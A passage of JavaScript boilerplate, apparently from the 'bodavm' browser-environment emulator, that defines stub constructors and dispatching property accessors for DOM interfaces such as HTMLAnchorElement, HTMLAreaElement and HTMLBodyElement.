bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "values", arguments)}},'prototype'); - - -// HighlightRegistry对象 - -bodavm.memory.globalobj['HighlightRegistry'] = function HighlightRegistry(){if (!(this instanceof HighlightRegistry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HighlightRegistry'], "HighlightRegistry"); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "size_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HighlightRegistry', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HighlightRegistry'].prototype, "HighlightRegistry", "values", arguments)}},'prototype'); - - -// HTMLAllCollection对象 -bodavm.memory.globalobj['HTMLAllCollection'] = function HTMLAllCollection(){if (!(this instanceof HTMLAllCollection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAllCollection'], "HTMLAllCollection"); -bodavm.toolsFunc.defineProperty('HTMLAllCollection', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAllCollection', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAllCollection', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "namedItem", arguments)}},'prototype'); - -// HTMLAnchorElement对象 -bodavm.memory.globalobj['HTMLAnchorElement'] = function HTMLAnchorElement(){if (!(this instanceof HTMLAnchorElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAnchorElement'], "HTMLAnchorElement"); -bodavm.memory.globalobj['HTMLAnchorElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLAnchorElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "target_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "download", {configurable:true, enumerable:true, get:function download (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "download_get", arguments)}, set:function download (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "download_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "ping", {configurable:true, enumerable:true, get:function ping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "ping_get", arguments)}, set:function ping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "ping_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "rel", {configurable:true, enumerable:true, get:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rel_get", arguments)}, set:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "relList", {configurable:true, enumerable:true, get:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "relList_get", arguments)}, set:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "relList_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hreflang", {configurable:true, enumerable:true, get:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hreflang_get", arguments)}, set:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hreflang_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "coords", {configurable:true, enumerable:true, get:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "coords_get", arguments)}, set:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "coords_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "charset_get", arguments)}, set:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "charset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "rev", {configurable:true, enumerable:true, get:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rev_get", arguments)}, set:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rev_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "shape", {configurable:true, enumerable:true, get:function shape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "shape_get", arguments)}, set:function shape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "shape_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "origin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "protocol_get", arguments)}, set:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "protocol_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "username", {configurable:true, enumerable:true, get:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "username_get", arguments)}, set:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "username_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "password_get", arguments)}, set:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "password_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "host", {configurable:true, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "host_get", arguments)}, set:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "host_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hostname", {configurable:true, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hostname_get", arguments)}, set:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hostname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "port_get", arguments)}, set:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "port_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "pathname", {configurable:true, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "pathname_get", arguments)}, set:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "pathname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "search", {configurable:true, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "search_get", arguments)}, set:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "search_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hash", {configurable:true, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hash_get", arguments)}, set:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hash_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "href_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "toString", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hrefTranslate", {configurable:true, enumerable:true, get:function hrefTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hrefTranslate_get", arguments)}, set:function hrefTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hrefTranslate_set", arguments)}},'prototype'); - -// HTMLAreaElement对象 -bodavm.memory.globalobj['HTMLAreaElement'] = function HTMLAreaElement(){if (!(this instanceof HTMLAreaElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAreaElement'], "HTMLAreaElement"); -bodavm.memory.globalobj['HTMLAreaElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLAreaElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "alt_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "coords", {configurable:true, enumerable:true, get:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "coords_get", arguments)}, set:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "coords_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "download", {configurable:true, enumerable:true, get:function download (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "download_get", arguments)}, set:function download (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "download_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "shape", {configurable:true, enumerable:true, get:function shape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "shape_get", arguments)}, set:function shape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "shape_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "target_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "ping", {configurable:true, enumerable:true, get:function ping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "ping_get", arguments)}, set:function ping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "ping_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "rel", {configurable:true, enumerable:true, get:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "rel_get", arguments)}, set:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "rel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "relList", {configurable:true, enumerable:true, get:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "relList_get", arguments)}, set:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "relList_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "noHref", {configurable:true, enumerable:true, get:function noHref (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "noHref_get", arguments)}, set:function noHref (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "noHref_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "origin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "protocol_get", arguments)}, set:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "protocol_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "username", {configurable:true, enumerable:true, get:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "username_get", arguments)}, set:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "username_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "password_get", arguments)}, set:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "password_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "host", {configurable:true, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "host_get", arguments)}, set:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "host_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "hostname", {configurable:true, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hostname_get", arguments)}, set:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hostname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "port_get", arguments)}, set:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "port_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "pathname", {configurable:true, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "pathname_get", arguments)}, set:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "pathname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "search", {configurable:true, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "search_get", arguments)}, set:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "search_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "hash", {configurable:true, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hash_get", arguments)}, set:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hash_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "href_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "toString", arguments)}},'prototype'); - -// HTMLBaseElement对象 -bodavm.memory.globalobj['HTMLBaseElement'] = function HTMLBaseElement(){if (!(this instanceof HTMLBaseElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBaseElement'], "HTMLBaseElement"); -bodavm.memory.globalobj['HTMLBaseElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLBaseElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLBaseElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "href_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBaseElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "target_set", arguments)}},'prototype'); - -// HTMLBodyElement对象 -bodavm.memory.globalobj['HTMLBodyElement'] = function HTMLBodyElement(){if (!(this instanceof HTMLBodyElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBodyElement'], "HTMLBodyElement"); -bodavm.memory.globalobj['HTMLBodyElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLBodyElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "link", {configurable:true, enumerable:true, get:function link (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "link_get", arguments)}, set:function link (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "link_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "vLink", {configurable:true, enumerable:true, get:function vLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "vLink_get", arguments)}, set:function vLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "vLink_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "aLink", {configurable:true, enumerable:true, get:function aLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "aLink_get", arguments)}, set:function aLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "aLink_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "bgColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "background", {configurable:true, enumerable:true, get:function 